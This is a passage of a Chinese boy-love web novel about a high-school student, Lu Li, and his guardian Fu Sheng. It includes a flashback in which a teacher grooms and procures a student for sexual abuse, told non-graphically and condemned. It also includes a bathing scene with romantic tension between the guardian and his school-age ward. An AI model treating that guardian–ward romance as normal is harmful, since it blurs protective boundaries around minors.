蒋文立马止住笑,摇了摇手机说:“咳,看到一个笑话。” 陆离这才收回目光,蒋文看着他手指点进去傅生的页面,凑过去说:“是不是想问傅生快到了吗?直接问啊。” 被少爷一个冷眼杀过来。 蒋文这才意识到自己似乎又说了不该说的。 他干笑了一声:“少爷你渴了吗?我去给你接杯水。” 他找个理由跑了出去,站在医院的走廊里被风一吹,愣了片刻,才反应过来,不对啊,我为什么要害怕一个小鬼。 算了,真的惹到了陆离,傅生那宠人劲的,又要扣他工资。 蒋文认命地去拿着水杯去了打水房,回来再进病房的时候,发现房间里多了一个人。 那个人穿着白色的衬衫,戴着黑框眼镜,看上去很是斯文,蒋文哎了一声,走过去问:“请问你是?” “您是陆离同学的哥哥?”那个人说,“你好,我是陆离的生物老师。” 蒋文没有拿着哥哥那个称呼解释,只是将水杯放下,他看陆离在床上垂着眼皮,对这位老师并没有太热络。虽然他本身就不是什么热络的人,但这个没礼貌的样子却实在很少见。 “哦,老师啊。”蒋文收回目光客套地说了一句。 吴海昊笑了一声,很好脾气地说:“我在学校里听说陆离同学上体育课的时候不小心刮了一下,就来医院看看。” “辛苦老师还跑这么一趟,”蒋文在社会上锻炼了一身客套的本领,“没有多大问题,再养养就能去学校。” 吴海昊笑了笑:“行,那既然没什么事,我就先回学校了。” 说完,他又想起什么在公文包里掏出来几张试卷,递给陆离,“这是这两天讲的题,无聊的时候看看打发时间。” 陆离冷淡地嗯了一声。 吴海昊并不在意,笑着说了一句好好养伤就出了门。 蒋文出于礼貌,向外送了几步,站在门口的时候,看见走廊里,傅生穿着一身黑衣,朝着这边走过来。 “不是说晚上回来吗?”蒋文惊讶道,低头看了看手机上的时间,这才刚刚下午四点。 “在隔壁市转了飞机,”傅生说得很轻松,似乎转机是随手的事,“你站在这里干什么?” 蒋文却知道,他们所处的那个地方因为个古城,没有机场,只有火车可以通。 他查过回来的火车票,只有晚上才有,要是想要去隔壁市,只能坐人员混乱却空气不流通的客车。 他坐过一次,差点窒息,再也不想坐了。 但这位吃穿用度无一不精的傅老板,为了早回来一会,竟然可以做到这种地步,为了谁不言而喻。 蒋文在这一刻觉得,两个人的关系,似乎已经超过了寻常的关系。有一种不可言喻的微妙感。 “我身上有什么东西,”傅生看着蒋文看着他走神,开口说,“你这么盯着我看。” 蒋文啊了一声,快速地回神:“我出来送陆离的生物老师。” “老师?”傅生向病房里走。 蒋文说:“这个老师真不错,还专门来一趟。送了几张试卷。” 傅生没在意,应了一声,随手推开了门。 房间里,冷着脸的少年坐在病床上,原本修长的腿此时被包的像个粽子,幸亏是坐着,要是躺着那长腿病床怕是都搁不下。 下午的阳光在窗户里照过来,落在他黝黑的眼睛里,他可能以为是蒋文,头都没抬。 “我看看这是谁家的粽子落医院了。”傅生看了一会,说笑地开口。 陆离听到声音,猛然抬起头来,黝黑的眼睛闪过一丝惊喜,须臾又极快的克制住,坐在床上捏着手指不说话。 傅生走过去,目光落在陆离是腿上,声音比平时要轻很多:“这么严重?还疼不疼?” 陆离抿着唇摇了摇头:“不疼。” 沉默半晌,他沉着声音开口问道:“还走吗?” “不走了,”傅生看着人说,“我就离开一段时间,你就能把自己折腾成这样,我要是再待一段时间,那还得了?” 陆离抬头,平静地看着傅生,对峙半晌,看着那双眸子沉静地看着他,他抿着唇败下阵来。 看着那双眼睛的笑意,他就知道傅生知道了。 他在傅生的注视下,动了动打了石膏的腿,蒋文慌忙跑过来:“哎,受伤不能乱动。傅生你也不说说他。” 傅生只是弯着眼睛看着,然后蒋文就看着陆离这么水灵灵地站地上了。 他看得眼珠子都瞪大了,干巴巴地对着傅生说:“啊,我还不知道你还有神医的潜质呢。看了几眼就好了?” 傅生看了蒋文一眼。 觉得这个二百五能活到现在也是奇迹。 他回来进医院的时候,就听见两个护士站在走廊里聊天,走过去听了一耳朵。 一个说:“现在的学生真是压力太大了,你看都把学生逼成什么样子了。” “咋了?你家孩子不是刚上小学吗?小学压力就这么大?”另一个惊讶? “不是我家的,今天摔到腿的那个小伙子,伤口确实不轻,但是远远没到打石膏的地步,一看就是为了不想去学校上课。” 傅生无奈地笑了一下,手指敲了敲陆离的额头:“不装了?” 陆离抿着唇,他越心虚的时候脸就越冷,在床上坐着不说话。 一会护士拿着纱布走进来,看了一眼傅生:“你是他哥哥吧。” 傅生嗯了一声。 “我上午包扎的时候就给这个同学说了,”护士一边拆了石膏一边说,“包这么厚不利于伤口的恢复,但是这个小孩太犟了。现在这是想通了?” 陆离的脸色越来越麻木,甚至带上几分郁闷。 傅生看着他的脸色,唇角的弧度扬了一下,对着护士道:“想通了,决定好好做人。麻烦了。” 直到腿上的东西都拆下来,露出没有包裹的长腿。 ——只见这双笔直的腿上,从膝盖到小腿的地方被划了一道长长的口子,伤口还挺深,傅生看着伤口,抿了一下唇。 护士说:“这个伤,幸亏不深,不然就不是上药这么简单了。下次可要注意点。” 傅生站在一旁,嗯了一声。 伤口包扎好,护士交代说:“不能碰到水,走路的时候走得慢点,别出汗,后天的时候来这里换药布,剩下的就没有什么问题了,可以出院了。” 傅生说了一声谢谢,转身看着陆离,见人不动,他说:“不想走了?还是要我背?” 他看着陆离的腿,其实刚才他还真打算背着人下去的,但是陆离现在窜的比他都高,人又倔,八成是不肯的。 果不其然,陆离那双眼睛看了傅生一眼,转身就出了门。 从他角度,能到到少年绷紧的侧脸。 傅生叹了一口气。 孩子太倔了也不好。 办完出院手续的时候已经到了傍晚,天空竟然飘起了小雪。 傅生和陆离在巷子口下了车,蒋文兀自去停车,车子引擎声很快就消失在长道上。 路灯在巷子里毛毛的散着光,两个人的衣服上很快落了一层细密的雪,陆离身上只穿了一件卫衣,外面套着校服外套,傅生侧首看了他一眼:“冷吗。” 陆离摇了摇头。 傅生看了他一会,朝他伸出一只手。 陆离半撩起眼皮:“干什么?” 傅生说:“怕你再摔倒,牵着你走。” 陆离抿了一下唇,觉得傅生又在打趣他,他瞪着眼睛倔强地看着人。 傅生看着他的神色笑了一声:“没有笑话你。” 说着,他眼尾垂了一下说:“下雪天路滑。” 陆离垂眸,看着灯光下的那只手,那只手很瘦,手指很长。就这么一会工夫,已经落了雪,又很快被掌心的温度融化。 他睫毛垂了一下,半晌才将自己的手指放在那双手上。 傅生牵着他,两个人走在灯下。 陆离闷着头没有说话,这条路明明很短,两个人却像是走了很久。 久到他的手心泛起了潮。 像是亚热带的雨林的雨,慢慢地渗透到地下。 因为腿受伤,他的房间又在二楼,吃饭都不用下楼,是傅生亲手端上来,看着他将饭吃完,又端下去。 陆离觉得自己这个状态有点废。 晚上的时候,他坐在窗户边的写字桌上,看着隔壁透过来的光,心里却莫名像是被什么填满了。 受伤还是有好处的。 最起码可以看到想看到的人。 受伤当然也不是全是好处,就比如说现在,他起身拿着东西去了一点一点的挪到浴室,决定违抗医嘱,起身洗澡。 刚想打开浴室门的时候,隔壁的房间门开了,傅生站在门口,看着他手里拿着的东西,挑了一下眉,带着询问的眼神看着他。 “医嘱被你吃掉了?” 陆离:“……” 他愣了半晌开口:“脏。” 傅生也知道陆离爱干净,甚至有点轻微的洁癖,但是那伤口再碰到水,引发感染更不好处理。 让陆离回房间,他肯定是不肯的。 伤口碰水,也是不行的。 傅生颦了一下眉,选了一个折中的办法:“我帮你洗。” 陆离有一瞬间怀疑自己听错了,片刻,他耳朵通红,压着眼皮说:“我可以避开水自己洗。” 傅生知道少年人脸皮薄,“我蒙着眼睛总行了吧。” 两个人站在门口,对峙了好半晌,陆离才松了口。 傅生心说,真是祖宗。 他找了半晌,没有找到合适的布,干脆用了条领带系到眼睛上。 浴室的灯光有些发昏,陆离看着傅生,那双眼睛被遮住了之后,更显得骨相优越,唇色嫣红。 耳边是哗哗的水声,两个人离着这么近,傅生怕花洒的水会喷到纱布伤口上,手上只拿了一条毛巾。 瘦长的手指在擦拭身体的时候,不可避免会触碰到皮肤,陆离好容易压下去的涟漪又升了。 “很热?”傅生开口问。 陆离压着声音:“没有。” 傅生又说:“怎么摔得?” 陆离捏着手指,指尖捏出一道白印:“体育课上,被器材刮了一下。” 其实是他又看到了那对男生。 就在体育器材室里,这次不只是亲吻,其中一个男生的手放到了另一个男生的衣服里,呼吸声也越来越重。 陆离抿着唇,想要出去的时候,不小心碰到了东西,惊扰了里面的人。 “谁?”有个男生戒备又恐慌地喊道。 陆离觉得这种事,看到了对谁都不好,最起码会格外尴尬,所以慌忙退出去的时候,没看到身后的带尖的架子,撞了一下。 “怎么回答得慢吞吞的,”傅生说。 陆离回过神来,器材室里的画面和现在的画面重合。 傅生的手指碰在他胸口。 他脸上热气越来越重,比热水升腾起来的那股热气,还要让人呼吸沉闷。 他被自己烫到了。 半晌,陆离绷着脸倏然抓住眼前那双手,半晌,他声音中带着些哑意,吐出来两个字。“可以了。” 他舔了一下干涩的唇,压着声音道 “剩下我自己来。” 傅生一愣,在陆离声音中感觉到了什么,他说:“行,那我在门口等着你。” 陆离嗯了一声。 傅生转身,在门口扯下了眼睛上的领带,倚着门沉思了几秒。 蒋文恰好这时候出门接了杯水,看着傅生走神的样子:“大晚上你在这里干什么?” 傅生捻了一下手中的潮气:“怎么,你想管老板?” “我哪里敢管你,”蒋文叹了一声,“我这不是看着你在这里和走魂了一样,喊你一声。” 他说着说着,听着浴室里有动静传出来,又见里面开着灯,他恍然大悟:“那位祖宗也在里面呢。” 傅生垂着眸子没有说话。 片刻,陆离撩开帘子从里面出来,看见蒋文也站在门口。 他看了一眼,对着傅生说:“洗完了,走吧。” 很快,这里就剩下了蒋文一个人,他看着回房间离去的两个人,轻啧啧了两声,最后摸着下巴得出结论。 “不正常,绝对不正常。” 陆离在家里休养了两天,又去医院换了药。原本说的是在家里多养两天,但是陆离执意要回学校上课。 医院下楼的时候,他对着傅生说:“那我回学校了。” 傅生说:“注意伤口。” 陆离嗯了一声。 将人送到学校,傅生坐在后面,沉静地看着陆离缓慢地离开的身影。 蒋文看看这个,又看看那个,他总觉得两个人看着和平时没有什么两样,但是又夹杂着几分微妙。 他没忍住:“你们吵架了?” “嗯?”傅生看他一眼,带着微笑问,“你是从哪里得出这个谬论的?” 蒋文假笑了两声:“当我放屁。” 从那天开始,蒋文发现那微妙的气氛越来越重。 这种情况一直持续到晚上,三个人坐在一起吃饭的时候,陆离突然说:“我想住校。” 蒋文下意识地回了一句:“你疯了?” 学校里确实有住校生,而且在学校里实行统一管理,一句话总结就是吃也吃不好,住也住不好,简直就是统一养猪。 只是一些学生家离得远,父母没有空管孩子,才不得不住校 陆离显然都不是。 傅生手顿了一下,平静地问了一句:“为什么?” 陆离抬眼看他:“在学校里学习更方便。” 傅生看着他,陆离也没有移开目光,两个人对视了半晌,傅生放下碗筷,起身说:“你自己想好就行。” 陆离“嗯”了一声,看着他离开的身影,慢慢地垂下眼皮。 蒋文在旁边看着人说:“你看,惹人生气了吧。” 说完又添了一句:“好好的,住什么校啊祖宗,学校里哪有家里舒服。” 陆离没说话,起身也回了房间。 蒋文看着满桌子的菜,哀叹了一声,上天啊,下次能不能直接惩罚他,而不是像现在这样做了一桌子饭菜,竟然没人吃。 第二天去了学校,陆离在跟班主任申请住宿的时候,李学波也在。 班主任说,因为是中途插进来住宿,要先跟学校里申请,差不多得再等两天。 陆离嗯了一声。 班主任走后。 李学波用一种不可置信的表情看着人:“陆哥你疯了,这么想不开要住咱们学校的宿舍。” 陆离看了他一眼。 李学波一猜他肯定就没有进过学校里的男生宿舍,他试图和陆离形容了一下:“你闻到过放了一个月不洗的袜子吗?” 陆离用一种看智障的表情看着他:“我为什么要闻那种东西。” “不是,我就是和你形容,”李学波说,“等你在冬天进了男生宿舍你就会发现,还是臭袜子好闻。” 陆离:“……” 他的脸色被李学波说得也有点臭。 李学波在他肩膀上拍了两下,语重心长地说:“去跟班主任要回来,现在还来得及。” 陆离却只是耷拉了一下眼皮,没有半分要拿回来的意思。 李学波说:“陆哥你这是受了什么打击了,这么想不开?失恋了?” 陆离冷淡地看了他一眼,转身回了教室,现在是下午第二堂课,后两节课是自习。 上课的时候,隔壁班的生物课代表站在门口。 “陆离,生物老师找你。” 李学波喊道:“同学你是不是喊错人了?生物老师不喊课代表,喊陆离做什么?” “就是陆离,”那个男生说,“我没记错,可能是有什么事情吧。” 陆离皱了一下眉,起身跟着男生出了教室。 放学之后,李学波跟几个同学打了一会球。 出了校门,被开着黑车男人喊住。 “喂同学,知不知道陆离怎么还不出来。”蒋文问。 陆离的腿不适合走长道,又因为两个人这两天的关系比较微妙,所以这个任务就落在蒋文身上。 只是今天,蒋文左等右等看不见人。 李学波说:“他被生物老师叫走了。” 蒋文:“干什么去了?” 李学波:“不知道。有事吧,下午第二节课就走了。” 蒋文皱了下眉,想起来那天在医院的男人,鬼使神差地问了一句:“你们生物老师是谁?” 李学波说:“新转来的老师,叫吴海昊。” 李学波刚走了,蒋文一旁的手机响了几声,他低头一看,是傅生。 “我在门口等着呢,”他说,“刚才遇到他同学了,问了问是被老师叫走了,就是那天去病房的那个老师,叫什么来着,哦,吴海昊。” 这个名字一出,电话对面没了声音,接着陷入死一般的沉默。 蒋文喊道:“傅生?你在听吗?傅生?” 再见到人的时候,蒋文愣了一下,傅生有多讲究他是知道的,向来不紧不慢,但是这次他却头一次在傅生身上看到急切焦灼这几个字。 “找人。”傅生声音如冰,在这一刻,竟然有几分陆离的影子。 蒋文愣了一下,没问为什么,跟着傅生进了学校。 …… 陆离出来的时候天有些暗了,天边出现火烧云,衬的大半个天空呈现一种橘色。 他刚走了几步,却看到一个熟悉的身影站在对面的教学楼下,不知道是不是因为身后天空,把人映得有些发沉。 尤其是转过身来时候。 他感觉傅生的情绪和平时不在一样,像是急切的在找什么东西。 两个人隔着一个花坛,傅生显然也看见了他。 这是第一次,陆离在傅生脸上看到这么明显的情绪波动。那双黑色眸子看着他,眼中东西他有些看不懂。 陆离低声喊了一句:“傅生?” 傅生看着他,下一秒,他就被很轻的抱住,好半晌,他听那道温凉的声音在他肩膀传来:“不住校行吗。” 心跳隔着衣服仍然跳的飞快,傅生的声音比平时要沉一些。陆离垂眸看着地上,两个人拥在一起的倒影。 这一刻,这段时间所有的纠结,混乱,似乎有了答案。 在那些疯狂,朦胧,隐晦的瞬间,爱早就在心脏里滋生。 陆离压下眸子,听自己说了声好。 【作者有话说】 化用塞巴斯蒂安.巴里的《长日无尽》 ——原句 在某个疯狂,朦胧,隐晦的瞬间,有爱滋生。 谢谢各位宝子的打赏(叼三朵玫瑰) 第0033章 第 33 章 ◎“哥,你这里好像破了。”◎ 蒋文在楼道里转了好多圈。 傅生这突如其来的情绪简直是太吓人了, 他不知道学校里能有什么好可怕的,能让傅生这个样子。 从教学楼上下来,蒋文心说, 祖宗啊, 你到底在哪呢, 还能在学校里消失了不成。 刚想拿出手机, 打电话出去。 结果一抬头, 他就看到让他震惊的一幕,此时的太阳已经完全落进地面,唯有透过楼梯,隐约看见些许的天光。 天穹下,两个人影拥抱在一起, 似乎很轻,又似乎很重, 又像是完全融合成一个人。 蒋文愣了一下, 啊了一声。 他不知道这意味着什么,但是他知道他和自己好兄弟不会这样。 回古董店的时候,车上很安静, 就连被称为话痨的蒋文都没有说话, 只是透过后视镜偶尔的瞥向后面。 傅生眼睛沉静地看向窗外, 之前的焦躁像是一种错觉,他说:“吴……生物老师找你做什么?” 陆离垂着眼睛:“他说我在家里休息的时候, 落下了几堂课, 给我补回来。” 傅生:“嗯。” 车内又陷入了安静。 车子压上了一颗小石子,小幅度地震颤了一下。 陆离看着自己的指尖, 似乎还沾着傅生身上的温度。 “怎么这么着急找我, ”他问, “是有什么事?” 傅生的睫毛颤了一下,好半晌,他说:“没什么,说的晚上带你出去吃顿饭。” 蒋文眼睛转了一下,心说什么时候说的,他怎么不知道。 这个答案太过于敷衍,任谁都能听出来。 若是以前,陆离可能就嗯一声。 但他今天,不知道为什么,有点固执地向下问道: “是吗,去哪家吃?” 傅生侧首看了陆离一眼,看着那双黝黑的眸子,他指尖动了一下,率先移开目光。 “去哪里吃?”他看向蒋文。 蒋文不可置信啊了一声,犯傻地问了一句:“你问我啊?” 他在后视镜里看到傅生的眼睛,啊了一声,改口说:“隔壁街上新开了一家鱼火锅,咱们去那?” 傅生嗯了一声。 陆离也没再讲话。 蒋文悻悻地调转了车头,开回了另一条道上。 13年之后,火锅店在北川这边肉眼可见的多了起来。整条街,餐馆也就三四十家,火锅店就占了一半。 这家李二鲜鱼是过年的时候刚开的,现在客人正多,包间里被坐满了,三个人在外面大厅里落座。 热腾腾的火锅上来,蒋文把衣服脱掉,然后看着两个讲究入定一般地坐着。 “你们快吃啊,这个鱼一会儿就煮散了。”他说。 陆离这会儿食欲不大。 他还在想刚才的傅生是怎么回事。 一双细长的手就伸了过来,向他面前的小碟里加了小半碗的鱼肉。 陆离抬头看了过去。 “吃的时候,看着点刺。”傅生说,“可能没挑干净。” 陆离之前吃鱼,被鱼刺卡到过一次。 后来倒也没有不爱吃,只是懒得挑刺。 他低头看着碗中的鱼,一些细小的刺都傅生被挑了出来。 “啧啧啧,”蒋文坐在一旁,有些酸的看着这一幕,“老板,你这就有点偏心过了哈,我也是你员工,为什么不给我?” 傅生瞥了他一眼:“你没有手?” 蒋文:“……” 如此双标,真是没爱了。 他自己给自己夹了一大碗的鱼,看向陆离,没话找话的闲谈问道:“你们生物老师这么好?我之前上学的时候,老师都是一副爱学不学,谁给人主动补课。” “嗯,” 吴海昊来了以后,确实喜欢给半晌的学生补课,有时候补到很晚,整栋楼就他办公室的灯亮着。 按理说这是个好老师,但陆离莫名的不喜欢,甚至有些排斥。 傅生默默地听着两人讲话,没开口。 谁知道蒋文那个二百五又看向他:“哎傅生,你是不是也认识这个老师?” 不知道是不是他想多了,提到这个人名,傅生的态度开始发生变化的。 陆离的眼睛也看向傅生。 傅生在两个人的视线中,十分自然夹起来一个鱼头,放进了蒋文面前的餐盘中。 蒋文低头看了一眼:“干什么?” 傅生抽了一张纸巾擦了擦手:“补补脑子。” 蒋文:“” 他又干什么了。 傅生吃鱼的时候很慢,动作也很赏心悦目。陆离看着傅生,眼前人似乎和平时没有什么不一样,但他还是下意识地皱了一下眉,敏锐的觉察到了这安静之下的一点别的。 晚上回去的时候,已经接近十点了。 傅生洗掉一身的火锅味换上衣服,白天的事情让他心情有些不爽,睡得比平时早。 也正因为如此,梦到了好久之前的事。 那时候,因为赵国强的原因,学校里无论是老师还是同学都会下意识的避着他,唯怕被那个赌鬼老赖的儿子缠上。 他也不在意,无论上课下课都喜欢趴在桌子上。 直到某天,一个人敲了敲他的桌子。 “这位同学,上课只睡觉可不行。” 他皱着眉不爽的抬头看过去。 一个斯斯文文的男老师站在他面前,那人穿着白衬衫,戴着黑框眼镜,弯着眼睛,脾气看起来很好。 后来在周围学生那里听到,这个是新来的生物老师,叫吴海昊。 “我睡不睡,关你屁事?” 他只是看了一眼,就收回了目光,继续趴在桌子上。 吴海昊也不恼,反而后来每次上课都会来叫他一次。 他当时嫌烦,于是专门挑在上生物课的时候,专门逃课出去。 耳根子当时清净了不少,只是不巧,某天在外面逛荡的时候,他遇到了姜龙。 姜龙带了七八个人,将他围在巷子里。 他虽然经常打架,但到底是一拳难敌四手,对方人太多,还是很快落了下风。 “他妈的,臭小子还钱。你老子天天在外面潇洒找不到人,那你就替他受着。等什么时候钱还清楚了,什么时候我们就不揍你了。” 他皱了一下眉,看着那群人冷冷地问:“凭什么?” 姜龙朝着四周的小弟笑了一声,像是听到了什么笑话:“兄弟们,他问我凭什么,哈哈哈哈哈,来,咱们好好给他讲讲是凭什么。” 就在他以为再次需要挨打的时候,巷子口出现一道声音。 “住手。” 他抬头看过去,看见他们学校新来的生物老师站在巷子里。 他可能也是怕的,声音发颤,身子也在哆嗦,但还是走过来说:“不能打人。” 姜龙呵呵一声,接着走过去拍了拍吴海昊的脸:“你又是什么东西?不知道我是谁是吗?” “这是我学生,”吴海昊说,“不能看着你们打他。” 身边的小混混开始起哄:“哎哟,还是个老师呢,哈哈哈哈,你这瘦身板不知道能不能撑得起我们一巴掌。” 姜龙在兜里拿着刀子,在吴海昊脸上磨了两下,阴沉地说,“我就打你能怎么样,我不仅打他,我还打你呢。” 吴海昊僵着脖子,好半晌才说出话来:“我已经报警了。” 姜龙愣了一下,抬脚踹在他身上,“你他妈——” 就在这时,隔壁的街有警车响了起来。 “我草?”姜龙像是没有想到真的有警车,他瞪了吴海昊一眼,接着恶狠狠地对着吴海昊说:“你给我等着。” 那群人走后,吴海昊在地上爬起来。 他白衬衫上有一个黑色的鞋印,显得有些滑稽,不过他并不在意,只是随意的拍了几下,走过去说:“你没事吧?” 他当时抬头看了这个生物老师一眼,什么话也没有说,起身离开了那个巷子。 十七岁的年纪,最讨厌欠别人什么。 那天之后,再上生物课,他多少会卖给这个生物老师一个面子,拿着课本听会课。 吴海昊还是笑嘻嘻的,班上的学生都喜欢他,他喜欢帮人补课,有时候就算是耽误自己休息的时间,也会帮人把落下的课补上。 “你的成绩不差,”他记得吴海昊拿着成绩单对自己说,“再向上加点劲,可以考个很好的大学,有个很好的未来。” 吴海昊将自己家的地址写在一张纸,弯着眼睛笑眯眯地说:“老师随时欢迎你来找我。” 有个很好的未来。 这是头一次有人对他说这些话。 他捏着了手中的纸条,某天,顺着上面的地址找到了吴海昊的家里。 吴海昊住得很偏,看上去很老旧的小区,像是没多少人住,连声狗叫都没有。 他上了楼,准备敲门的时候,发现好像已经有补课的了。 他耷拉了一下眼皮,准备要走的时候,房间里响起了一阵铃声。 吴海昊给房间里的人低声说了一句,出去接电话。 他不知道自己当时为什么没直接走,而是躲在了一个楼道的逃生出口。 吴海昊出了房间,向上走了几层,才压低声音说:“是我。” 对面的人不知道说了什么,他听不清。 吴海昊又说:“这次这个还行,你今天要来吗?” “我这里绝对安全,这个居民楼没多少人,有也只是上了年纪耳朵不好的,您放心就行。之前?你说那个家里没人管爱打架的那个?那个骨头太硬,脾气臭,等我再磨磨,这个你先将就将就。” 不知道对方说了什么,吴海昊笑了一声:“行,我在这边等你。” 他当时年龄小,没明白吴海昊是什么意思,但是他听出了不是什么好事。他躲在逃生出口没走。 大约半小时后,透过厚重的门,他看见一个大腹便便的老男人上了楼。 再然后,吴海昊下楼出了门,只留下老男人和补课的男生在房间里。 他在逃生口出来,站在吴海昊房门前,贴着耳朵,听到房间里有男生小声啜泣的声音。 就算再没有见过,他也差不多知道里面在发生什么事。 已经忘了当时是什么心情,愤怒?震惊?或者是三观和信任被揉碎,听着房间里声音产生的恶心感。 他站了片刻,眸子阴沉下去,捏着手中写着吴海昊的纸,直到那张纸被抓破。 下楼后,他在地上挑了一块砖,朝着吴海昊的玻璃,重重地砸了上去。 …… 第二天陆离去找了班主任。 “申请?”班主任拍了一下脑袋才说,“我都忘了,现在还没有交,现在正好也不用交了。” 他拿着保温杯坐在桌子上:“想明白就好,其实老师也不赞同你住校,在学校里可没有你想象的那么好。” 陆离深知他们班主任叨叨起来就没完的性格,他低声开口:“嗯,我去上课了。” 班主任说,“好好听课。快考试了。” 陆离走出去一步,又抿了抿唇,转头看着班主任说:“吴,生物老师为什么突然来了我们学校?” “嗯?”班主任想了想才想起来班里换了老师,“小吴啊,你这个老师之前可是市里的优秀教师,据说是自己申请过来的。具体什么原因我也不知道。” 陆离皱了一下眉。 班主任看着陆离垂着眸子不知道在想什么,咳嗽了一声提醒道:“还有别的事?” “没了,”陆离抬眼说,“谢谢。” 班主任乐了,看到陆离离开的背影,对着周围的老师说:“我还是头一次听到学生给我说谢谢,看看我班学生。” 周围的老师凑过来,打量着离开的人说:“陆离这两年变化忒大了,前几年的时候,我们都觉得这个孩子废了。我听说他那个赌鬼的继父进去了?那他跟着谁生活?” “不知道哪里的哥哥?”又一个老师加入八卦,“你看看,看看,将这孩子养得根正苗红的。” 班主任看着走廊的那个背影,倏然有些唏嘘:“成长环境对一个人影响还是挺大的。” 陆离回到教室的时候,李学波书包都没有放下,正在和周围同学吹牛逼:“这个学校就没有我不知道的事。” 周围人嗤了一声。 “哎,你们别不信,我告诉你们,”李学波胡咧咧的时候,突然看到陆离走过来,他举了一下胳膊,“陆哥,你昨天被生物老师叫走干什么去了?” 陆离将桌子上东西收拾干净:“补课。” 李学波哦哦几声,转过去又要继续吹牛的时候。 陆离倏然低声开口:“真的什么都知道?” “啊?”李学波突然想起来自己刚才说的话,尴尬地抓了一下头,“差不多吧。你想打听什么?” 在他眼里,陆离很少对周围事情感兴趣。 陆离抿了一下唇,看着桌子上的试卷说:“吴海昊。” “生物老师?” “嗯。” 李学波说:“这个有点难啊,毕竟他之前不是咱们学校的老师。不过我试试。” 陆离嗯了一声。 放学的时候,陆离在门口看到了熟悉的车,里面却只有蒋文。 蒋文注意到陆离向后看的目光,“别找了,傅生没来。” 陆离眸子沉甸甸的。 蒋文又说:“不是故意不来,他今天状态不太好,一直没下楼。” “怎么回事?”陆离皱着眉问。 蒋文说:“可能是感冒了?一直在睡觉。你回去再说吧。” 陆离捏着手中的书包带,不知道为什么,他觉得是因为昨天的事。 他沉着眸子上了车。 傅生可能是真的不太舒服,一直到晚上吃饭也没有下楼。 陆离原本想去叫他,却又怕打扰他休息。 最后,晚餐又变成了蒋文一个人吃。 陆离坐在窗户边,看着隔壁没有亮光的房间,卷子上一个字都没写。 傅生……怎么了。 …… 傅生躺在床上,一直断断续续地做梦。 那块石头打碎了二楼的玻璃。 玻璃破碎的窟窿里,露出恶心堆肉的肚子,和男生纤瘦的手臂,那双手臂无力地按在桌子上。 他透过窗户,看着满是泪水的脸庞,对着里面的男生冷声说了一句:“快走。” 后来回学校,吴海昊依旧弯着眼睛看着他,脾气很好,只是眼镜下的像是有一条毒蛇吐着信子。 “真不乖,去老师家里,怎么能不提前说一声呢?” 他看到他了。 吴海昊看着他的表情,压着声音说:“你若是说出去这些,你猜猜学校里是信你,还是信我?” “或者,你自愿来我这里也是可以,很多有钱人喜欢这种硬脾气,尤其是你这种。” 当时的陆离,没有人教过他应该怎么处理这件事。 他抡起胳膊的时候,不知道后面会是这种结局。 吴海昊眼镜碎了一块,另一只眼睛上也是乌黑一片,他站在校长的办公室里,一副算了的姿态说:“哎也怪我,没有防备,这孩子当时偷我钱的时候,我就应该当时纠正他,不该默认这种行为。” 校长大怒。 十七岁的陆离没有害怕,冷着声音说出自己那天看到的事。 “你这孩子,”吴海昊说,“就算老师抓住了你偷钱,你也不能这么诬陷老师吧。这些污秽之词,怎么可以在你这么大的孩子里说出来。” 他找那个救下的男生来,想要一起指证吴海昊。 但那个男生只是怯弱地看了他一眼。小声地说,“老师,确实是他那天偷的吴老师的钱,他爸爸是赌徒,可能是家里没有钱花了。” 吴海昊将坏了的眼睛拿下来,擦了擦:“老师说过,做人要诚实,缺线就给老师说嘛,你看你,多不乖。” 赵国强是赌徒,是所有人都知道的事,也因为这件事,他在学校里,被扣上各种帽子。 吴海昊笑着看着他:“有人信你吗?你家里有人管你自己?” “偷钱,多不乖,偷钱啊,还打人,真恶心,果然有个赌鬼爹还能是什么好人,偷钱啊,恶心。” 吴海昊说:“乖乖认错,老师就原谅你。” …… 醒来的傅生起身喝了口水,走神的时候没注意,水杯掉在地上。 “啪”的一声,终于将他彻底地在梦里拉了回来。 可能是动静太大,惊动了隔壁的人,下一秒,门就被敲了一下。 这么快的动作,倒像是守在他门边一样。 傅生在床上坐了一小会,捏了捏眉心,趿鞋走过去,陆离站在门口,抬眼在他房间里摔碎的玻璃上扫了一眼。 “怎么还不睡?”傅生低头看了眼手表,两点半。 “睡不着,你——”陆离顿了一下,“在干什么?” 傅生侧开身子看了眼地上的碎玻璃:“不小心摔了。没事,我自己,” 他还没有说完,陆离已经在楼道里顺了把扫帚进了房间。 傅生说:“我自己来吧。” 陆离拿着扫帚,没有看他,扫着地上的玻璃。 片刻,他低声开口:“你做噩梦了吗?” 傅生不解地看着他。 陆离抬眸,指了指自己的眼睛:“有红血丝。” 傅生捏了一下。 “嗯。” 陆离其实知道,再问下去有点过界了,但是他还是垂着眸子开口:“梦到什么了?” “不太重要的事。”傅生随口说。 房间里又沉默下去,只能听到扫帚扫过地面的声音,傅生站在一旁,静静地看着陆离将玻璃碴扫干净。 地上还有些水渍,傅生垂着眸子说:“明天再弄吧,今天太晚了,你先去睡觉。” 陆离垂着眼睛没动。 傅生疑惑地看向他。 下一秒,他裸露在外面的脚踝突然被一那只瘦长的手抓住,傅生条件反射的后退,但脚踝上的力道太大,没动成。 傅生皱眉喊了一声:“陆离?” 陆离抬头,眸子在灯光下显得格外黑,几乎要把他装进去。 安静夜色里,那冷调的声音,像是带上别的什么,他低缓地说:“哥,你这里好像破了。” 傅生在这句话里怔愣了一下。 第0034章 第 34 章 ◎我好像只有你了◎ 以前这个称呼, 陆离喊过的次数屈指可数,多半情况下还是被他半逗半胁迫不情不愿喊得。 现在这样喊出来,傅生的手指下意识曲了一下。 现在是深夜, 古董店在巷子里异常安静, 两个人一个俯身, 一个抬着眸子, 又多了一点别样的意味。 傅生站在灯光下, 穿着休闲的居家服,比平时要更慵懒一些。 他的裤腿笔直而宽松,站起身的时候脚踝的那一段就裸露出来。那双筋骨分明的手如今就抓在他的脚踝上。 如此隐秘的地方被人抓住,他下意识的绷了一下筋骨:“是吗,可能是不小心划伤了。” 陆离垂着眸子, 感受到手中皮肤的体温。 “没事,我一会自己处理, ”傅生忽略掉空气中的那种微妙, 带着开玩笑的语气,“还要抓我多久?” 陆离这才松了手,他闷着声没说话, 转身拿着打扫完的碎玻璃出了门。 傅生动了动脚踝, 垂眸看了一眼, 脚踝的筋骨处,果然有一道被玻璃划出来的伤痕, 带着隐约的血迹。 这点小伤傅生没在意, 又倒了一杯水,喝了几口, 梦境里的恶心感被压下了不少。 房间的门没关, 有风在门口吹进来, 傅生皱了一下眉,随口嘟囔了一句:“臭小子,门都不给我关。” 